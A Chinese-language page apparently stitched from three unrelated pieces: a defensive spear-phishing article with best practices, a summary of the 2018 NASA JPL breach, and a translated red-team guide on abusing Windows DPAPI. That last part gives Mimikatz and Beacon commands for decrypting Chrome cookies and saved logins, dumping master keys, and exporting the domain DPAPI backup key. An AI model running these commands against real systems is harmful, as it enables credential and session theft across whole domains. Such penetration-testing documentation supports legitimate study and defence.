鱼叉式网络钓鱼:诱骗的艺术

网络钓鱼的技术和手段,从原理上说并不新鲜:通过一个心理诱饵,步步引导受害者,误以为该虚假网络程序和应用是真实可信的。网络钓鱼者通常会按照如下三个步骤,来设置网络钓鱼骗局:

1)目标选择:即寻找合适的受害者,特别要透过电子邮件地址和背景信息,总结出一个具有吸引力的心理痛点;

2)社交机制:布置恰当的诈骗诱饵,诱使受害者掉入陷阱,以窃取他们的账户并植入恶意软件。在鱼叉式网络的钓鱼案例中,这种诱饵是针对目标受害者而定制的。每当年终岁尾,网络钓鱼者会利用年终和节假日的各类活动包装出伪装外衣;

3)技术工程:钓鱼者躲避开安全程序的扫描,以构建虚假网站,制作恶意软件等技术性方法开展诈骗。

很明显,鉴于网络钓鱼攻击依赖的是任何人都可以利用的人为因素,且具备覆盖面广及技术要求相对较低的特征,其在网络犯罪分子中受欢迎的程度也在与日俱增,企业必须采取措施防范这些攻击,否则将面临敏感信息被盗的风险。

梭子鱼公司发布的报告指出,在这些高度个性化的电子邮件攻击中,黑客会事先研究其攻击目标,然后为其量身定制一封邮件,这些邮件通常旨在通过冒充可信赖的同事或合作企业来窃取敏感信息,随后利用这些信息实施欺诈和身份盗窃等罪行。

报告发现,鱼叉式网络钓鱼攻击尤为危险,因为它们旨在绕过传统的电子邮件安全措施,例如垃圾邮件过滤器。而且它们通常不包含恶意链接或附件,而只是使用欺骗技术和0 day攻击链接,再结合上社交工程策略,所以一般不太可能被阻止。

梭子鱼公司指出,在其分析的360,000个鱼叉式网络钓鱼邮件攻击中,最常见的攻击类型是品牌假冒(占比83%)。品牌假冒攻击会试图冒充知名公司来获取目标的登录凭证并接管其帐户。这些攻击还被用于窃取个人身份信息(PII),包括信用卡和社会保障号码等等。报告还发现,微软和苹果是这些攻击最常假冒的两大品牌。

商业电子邮件妥协(BEC)——也可称为“CEO欺诈”——是第二常见的鱼叉式网络钓鱼攻击类型(占比11%)。网络犯罪分子可以利用这种攻击来冒充高管,并向财务部门的员工或其他人提出电汇或获取个人身份信息的请求。根据FBI发布的统计数据显示,虽然BEC攻击占总数的比例相对较小,但自2013年以来已经为全球经济造成了超过125亿美元的损失。

最后,6%的鱼叉式网络钓鱼攻击属于勒索诈骗,在这种攻击类型中,黑客会声称已经获取了攻击目标的相关信息,并威胁其支付赎金,否则将把这些信息公开分享出去。

避免鱼叉式网络钓鱼的最佳实践

想要避免鱼叉式网络钓鱼攻击,不仅需要部署适当的技术,还需要结合用户安全培训。以下是为大家总结的防范鱼叉式网络钓鱼攻击的8个最佳实践

1. 充分利用人工智能(AI)

寻找一种可以检测并阻止鱼叉式网络钓鱼攻击(包括可能不包含恶意链接或附件的BEC和品牌假冒)的解决方案。机器学习工具可以分析企业组织中的通信模式,并发现可能是攻击迹象的任何异常。

2. 不要仅仅依赖传统的安全措施

使用黑名单进行鱼叉式网络钓鱼和品牌假冒检测的传统电子邮件安全措施可能无法抵御许多攻击中发现的0 day链接。

3. 部署帐户接管保护措施

寻找利用人工智能(AI)识别帐户何时可能已经遭到侵入的工具,以避免来自这些帐户的更多鱼叉式网络钓鱼攻击。

4. 实施DMARC身份验证和报告机制

基于域的邮件身份验证、报告和一致性(DMARC)适用于发件人策略框架(SPF)和域密钥识别邮件(DKIM),用于对邮件发件人进行身份验证, 并确保目标电子邮件系统信任从发送的邮件您的域,以防止域名欺诈和品牌劫持这两种假冒攻击中最常用的手段。

5. 使用多因素身份验证

多因素身份验证在简单的用户名和密码的基础上增添了另一层安全性,如果启用了双因素身份验证,即使攻击者成功窃取了您的密码,他们也无法访问您的帐户,可以说这是一种高效的安全措施。

6. 培训员工识别并报告攻击事件

识别和报告鱼叉式网络钓鱼攻击应该成为任何安全意识培训项目的一部分。企业可以对电子邮件、语音邮件和文本消息模拟网络钓鱼攻击,以培训用户识别它们。除此之外,企业还应制定程序,对通过电子邮件发送的任何涉及资金的请求予以确认。

7. 进行主动调查

由于鱼叉式网络钓鱼攻击具有高度个性化的特征,所以员工可能没有能力准确无误地识别或报告它们。对此,公司应该定期进行主动搜索,以检测含有黑客常用内容的电子邮件,包括与密码更改有关的主题行等等。

8. 最大限度地防止数据丢失

将技术解决方案和公司政策相结合,以确保含有机密或敏感信息的电子邮件能够及时被发现并阻止,杜绝外泄发生的可能性。

其实说到底,用户才是最终的安全决定者。安全的好坏最终取决于用户能否以鉴定的眼光阅读所有邮件和警报信息,并判断信息或链接是否安全。只要决策权掌握在用户手中,网络钓鱼攻击的成功率就会居高不下,这也正是防网络钓鱼行业能够保持持续增长的原因所在。企业还将继续寻求更好的解决方案,保持强大的安全态势:部署多层端点安全防护、网络安全防护、加密、强大有效的身份验证并采取拥有高信誉的技术,帮助用户及时发现入侵信号并快速地做出响应,增强企业团队的安全防范能力。

nasa

事件回顾

2018年4月,有黑客攻入了NASA的网络,并从位于南加州的NASA喷气推进实验室(JPL)盗走了约500M与火星任务相关的数据。攻击的入口点则是一台连着NASA喷气推进实验室(JPL)网络的树莓派。

事件分析

NASA Office of Inspector General(监察长办公室)近日发布了一份49页的报告,攻击者利用了连接到NASA喷气推进实验室(JPL)IT 网络的没有经过授权或适当安全措施的树莓派。该树莓派在没有JPL OCIO审查和同意的情况下本不应该连接到JPL网络中。

未对系统组件进行充分识别,也未对网络进行分段和隔离

从目前的分析来看,攻击的入口点是一个树莓派设备。OIG认为JPL未将树莓派纳入IT资产进行管理,因此产生了安全漏洞。

分析报告显示IT人员没有对通过JPL网关设备与外部合作商共享的网络环境进行隔离。该JPL网关允许外部用户和合作社来远程访问特定任务和数据的共享环境。

NASA的JPL部门运营着行星机器人航天器,包括著名的勇气号以及太阳系内绕行星转的多个卫星。此次攻击事件还影响JPL管理的NASA Deep Space Network (DSN)。在发现攻击事件后,其他NASA分部于JPL和DSN断开了网络连接。

注:深空网络(Deep Space Network, DSN),由美国国家航空航天局(NASA)建立,成为美国国家航空航天局喷气推进实验室(JPL)的一部分。它是一个支持星际任务、无线电通信以及利用射电天文学观察探测太阳系和宇宙的国际天线网络,这个网络同样也支持某些特定的地球轨道任务。它是地球上最大也是最敏感的科学研究用途的通信系统。

在安全事件监控和安全控制方面存在不足

使用外部用户账户的黑客利用JPL系统安全控制的漏洞在JPL网络中潜伏了10个月而没有被发现。在检测到该事件之前,攻击者窃取了大约23个文件,共约500MB,其中2个文件是与火星科学实验室任务相关的国际武器贸易条例信息。

经过调查,研究人员认为攻击是由APT组织实施的。目前事件仍在调查中,该机构称已经在防火墙上安装了其他的安全监控设备。

事实上,JPL也并不是第一次被黑客入侵,在2009,2011,2014,2016和2017年JPL都被黑客入侵过。

NASA数据泄露事件

2018年12月,NASA通知雇员发生了数据泄露事件,泄露的信息包括员工身份证号码和其他个人信息。根据该通知,黑客至少入侵了NASA的一个服务器,而且该事件影响的用户涉及前雇员和当前雇员。

完整报告参见https://oig.nasa.gov/docs/IG-19-022.pdf

我以前谈到过 DPAPI (数据保护应用程序编程接口) ,包括 KeePass 如何使用 DPAPI 作为其"Windows 用户帐户"关键选项。 最近,我深入研究了 Benjamin Delpy 在 DPAPI 方面所做的一些令人惊叹的工作,并且想要记录一些关于与 Mimikatz 一起滥用 DPAPI 的操作记录。

注意: 在这篇文章中,我关注的是基于用户的 DPAPI 滥用问题,但在某种程度上,我也打算深入研究机器的 DPAPI 密钥滥用问题。 如果我能够理解这些特定的弊端,我会起草一个后续的博文。

另一个注意事项: 我没有提出这些滥用原语,也没有编写用于滥用它们的工具。 这些都是本杰明和其他人在本文中引用的作品。 我只是将这些滥用案例和句法记录下来作为操作指南。

DPAPI速成课程

我也不会谈论太多的 DPAPI 背景,因为其他人已经做得更好了:

本杰明的 wiki 示例(这里这里这里以及各种与 DPAPI 相关的推文)

· 巴托斯 · 英格洛特在OPCDE 2017的议题“DPAPI 黑盒子揭秘

Paula J 在 Black Hat Europe 2017 的议题 “DPAPI 和 DPAPI-NG 

· 在渗透测试和密码破解期间的 DPAPI 漏洞利用” 作者: Jean-Christophe Delaunay (@Fist0urs @ fist0urs)

· 告诉我密码我就能统治世界”( "弗朗西斯科 · 毕加索(@dfirfpi),跟进文章在这里,以及他的"ReVaulting” 议题

· 伊泰 · 格雷迪 在@BsidesTLV的议题“在域环境中保护浏览器的秘密

· 解密 DPAPI 数据”作者: Jean-Michel Picod 和 Elie Bursztein

· @_rastamouse 发表的很棒的博文跳转网络分割,其中包括了关于使用 Mimikatz 解密加密的DPAPI RDP 凭据块

我确信我已经遗漏了一些现有的工作,但是以上这些资源是我了解 DPAPI 的工作原理及其滥用的潜在可能性的参考。

DPAPI提供了一组简单的 API,可以使用绑定到特定用户或系统的隐式加密密钥轻松地加密(CryptProtectData())和解密(CryptUnprotectData())不透明的数据"块"。 这使得应用程序可以保护用户数据,而不必担心密钥管理之类的问题。 有很多东西都在使用 DPAPI,但我只关注 Chrome cookies / login Data、 Windows 凭证管理器/ Vault (例如保存的 IE/Edge登录和文件共享/RDP 密码)和远程桌面连接管理器的.rdg后缀的文件。

在较高的级别上,对于用户场景,使用用户的密码来派生特定于用户的"主密钥"。 这些密钥位于 C:\Users\<USER>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>,其中 <SID>是用户的安全标识符,GUID 是主密钥的名称。 一个用户可以有多个主密钥。 这个主密钥需要使用用户的密码或域备份密钥(请参阅 Chrome,场景4)进行解密,然后用于解密任何 DPAPI 数据块。

因此,如果我们试图解密用户的已加密的 DPAPI 数据块(比如 Chrome cookie 值) ,我们需要获得特定用户的主密钥。

Chrome

Chrome使用 DPAPI 存储了我们关心的两个主要信息: cookie 值和保存的登录数据:

· Cookie 文件位置:%localappdata%\Google\Chrome\User Data\Default\Cookies

· 保存的登录数据位置: %localappdata%\Google\Chrome\User Data\Default\Login Data

%localappdata%在大多数系统上映射到了" C:\Users\<USER>\AppData\Local "。 此外,本节中的任何 Mimikatz 命令都可以用于"Cookie"文件或"Login Data"文件。

Chrome 将其 cookie 存储在 SQLite 数据库中,cookie 值本身作为加密的 DPAPI 数据块加以保护。 幸运的是,Benjamin 在 Mimikatz 中实现了 Chrome SQLite 数据库的解析! 要列出当前用户可用的 Cookies,可以运行以下 Mimikatz 命令:

mimikatz dpapi::chrome /in:”%localappdata%\Google\Chrome\User Data\Default\Cookies”

1.png

然而,实际的 cookie 值使用了用户的主密钥进行加密的 DPAPI,而主密钥又受到用户密码(或域备份密钥)的保护; 在尝试检索这些 cookie (或登录数据)值时,我们可能会遇到两种情况。

场景1: 在目标用户的上下文中执行代码

这可能是最简单的情况。 如果你有一个 Beacon或者Mimikatz或者是其他代码正在你的目标用户的上下文中运行,只需将 /unprotect 标志添加到 dpapi: : chrome 命令中:

2.png

这只是指示 Mimikatz 使用 CryptUnprotectData API 为我们解密这些值。 因为我们在用户的上下文中执行代码,所以他们的密钥将被隐式地用于解密。

注意: 有时候你会遇到一个问题,就是当 Cookies 数据库被 Chrome 使用时会无法打开。 在这种情况下,只需将 cookies / login Data 文件复制到当前操作位置,并使用新路径运行 dpapi: : chrome 命令。

场景2: 目标用户当前登录的计算机上的管理访问

如果你不想将信标注入到其他用户的上下文中,或者你的跳板机上当前登录了多个用户,那么你有几个选项可以执行。

如果在由不同用户拥有的给定数据库上运行 /unprotect ,则在试图调用 CryptUnprotectData ()时会出现错误。 Mimikatz 的新版本实际上将识别所需的 masterkey 的 GUID (一旦 Mimikatz 在 Cobalt Strike 中更新,它将在输出中显示出来) 在下面的 mimikatz.exe 示例中,所需主密钥的 GUID 为{ b8854128-023c-433d-aac9-232b4bca414c } :

3.png

我们可以推断出图中圈出的是 harmj0y的基于 Chrome Cookies文件夹的位置的主密钥。 我们还可以通过列出用户文件夹(C:\Users\<USER>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>)中的主密钥 GUID来跟踪任何用户的密钥。 请参阅Seatbelt 部分,了解如何为所有用户轻松做到这一点。

因此,我们需要以某种方式获取这个特定的 harmj0y 的主密钥。 一种选择是运行 sekurlsa: : DPAPI 从当前登录到系统的用户的内存中提取所有 DPAPI 密钥(偶尔也会出现在 sekurlsa: : msv 中) :

5.png

注意: 如果你没有通过 Beacon 使用 mimimikatz,那么你可以利用 Mimikatz 的 DPAPI 缓存(请参阅本文末尾的 Cache 部分) 由于 Beacon 的作业架构,每个 mimikatz 命令都将在一个新的进程中运行,因此 mimimikatz 命令之间不会保留状态。 目前还没有一种方法可以通过 GUI 发送多个 mimikatz 命令,尽管可以通过攻击者脚本来实现。

将GUID  { b8854128-023c-433d-aac9-232b4bca414c }匹配到的DPAPI 密钥提取出来,我们需要的 SHA1主密钥是 f35cfc2b44aedd7… (可以使用完整的主密钥或 SHA1版本)。 可以手动为 DPAPIChrome 模块指定此选项,可以执行如下命令:

beacon> mimikatz dpapi::chrome /in:”C:\Users\harmj0y\AppData\Local\Google\Chrome\User Data\Default\Cookies” /masterkey:f35cfc2b44aedd7…

6.png

场景3: 目标用户在当前未登录的计算机上的管理访问

如果目标用户当前没有登录到系统,你需要知道他们的明文密码或 NTLM 散列。 如果你知道它们的明文密码,你可以使用 spawnas/runas 来生成一个新的代理作为特定的用户运行,然后在目标用户的上下文中运行

beacon> mimikatz dpapi::chrome /in:”%localappdata%\Google\Chrome\User Data\Default\Cookies” /unprotect

或者,也可以运行 

dpapi::masterkey /in:<MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected

(用于现代操作系统) :

7.png

如果你只有一个用户的散列,则可以使用 Mimikatz 的 sekurlsa:: pth 产生一个新进程(或使用 Beacon 的 pth 包装器获取模拟令牌)。 但是,由于 Mimikatz 在新的登录会话中使用的登录类型是9(例如:NewCredentials/netonly)作为凭据,所以这些凭据不会在本地主机上使用,因此仅仅使用 / unprotect 将会失败,并会出现相同的 NTE_BAD_KEY_STATE错误。

但是,由于这些凭证将在网络上使用,我们可以使用 Mimikatz 利用 MS-BKRP  (BackupKey Remote Protocol)为我们检索密钥,因为密钥属于当前用户。 Benjamin 在他的 wiki 上详细记录了这个过程(在本文的"Credential Manager and Windows Vaults"部分的最后有更多细节) 实现这个 RPC 调用的代码位于 kull_m_rpc_bkrp.c文件中。 我们所需要做的就是指定主密钥的位置并提供 / rpc 参数标志:

beacon> mimikatz @dpapi::masterkey /in:”C:\Users\dfm.a\AppData\Roaming\Microsoft\Protect\S-1–5–21–883232822–274137685–4173207997–1110\ca748af3–8b95–40ae-8134-cb9534762688" /rpc

8.png

注意: 模块前的@前缀是必要的,因此 Beacon 强制 Mimikatz 使用模拟线程令牌来模拟新的 Mimikatz 进程。

From here, we can take this masterkey and manually specify it to decrypt what blobs we want (syntax is in scenario 2.)

从这里,我们可以使用这个主密钥并手动指定它来解密我们想要的数据块(在场景2中提到的)。

场景4: 提高域访问权限(即 DPAPI 上帝模式)

这是最有趣的一个场景;

一个选择是利用 DCSync 同步一个目标用户的散列并重复场景3。 但是有一个更好的办法!

9.png

域用户主密钥也使用域范围的备份 DPAPI 密钥进行保护。 这就是实际使用 /rpc 命令对每个用户密钥进行解密的方法,也是体系结构的一部分。 那么,为什么不好好利用这个备份密钥呢? ;)(假设我们已经拿到域管理权限或同等权限) :

10.png

语法是 lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export。 这个.pvk 私钥可以用来解密任何域用户主密钥,而且这个备份密钥不会改变!

11-0.png

而且,这在 Mimikatz的实现已经有一段时间了!

11.png

13.png

因此,让我们下载 harmj0y 的 主密钥文件(b8854128-023c-433d-aac9-232b4bca414c)和 Chrome cookies 数据库,以及 .pvk私钥。

14.png

旁注: 备份密钥检索

虽然 MS-BKRP 看起来确实支持基于 RPC 的备份密钥的远程检索(参见3.1.4.1.3 BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID 章节) ,而 Mimikatz 确实实现了这个 RPC 调用,但 lsadump::backupkeys 方法使用 LsaOpenPolicy/LsaRetrievePrivateData API 调用(而不是 MS-BKRP)来检索 G$BCKUPKEY_PREFERRED LSA 密钥的值

我想更好地理解这个逻辑,所以我将 Benjamin 的远程备份密钥检索逻辑移植到 C# 中。项目(SharpDPAPI)在 GhostPack存储库中。 默认情况下,DPAPI 备份密钥将从当前的域控制器文件中检索,并以 base64字符串的形式输出,但是这种行为可以修改:

15.png

一旦获取了用户的主密钥或域备份密钥,就不必在目标主机上执行解密命令。 你可以下载任何找到的用户主密钥文件(参见本文后面的 Seatbelt 部分) ,然后锁定 DPAPI 容器(比如 Cookies) ,或者 a)使用域备份密钥来解密用户的主密钥(然后用它来解密你的目标数据块) 或者 b)如果你从内存中提取了主密钥,你可以直接使用它。

因此,让我们使用 Mimikatz 通过使用域备份密钥来解密 harmj0y 的主密钥,然后使用该主密钥来解密 Chrome cookies 数据库:

· mimikatz # dpapi::masterkey /in:b8854128–023c-433d-aac9–232b4bca414c /pvk:ntds_capi_0_32d021e7-ab1c-4877-af06–80473ca3e4d8.pvk

· mimikatz # dpapi::chrome /in:Cookies /masterkey:f35cfc2b44aedd7… 

16.png17.png

如果我们保存这个.pvk 密钥,我们就可以根据需要下载 主密钥 /DPAPI 数据块并离线解密!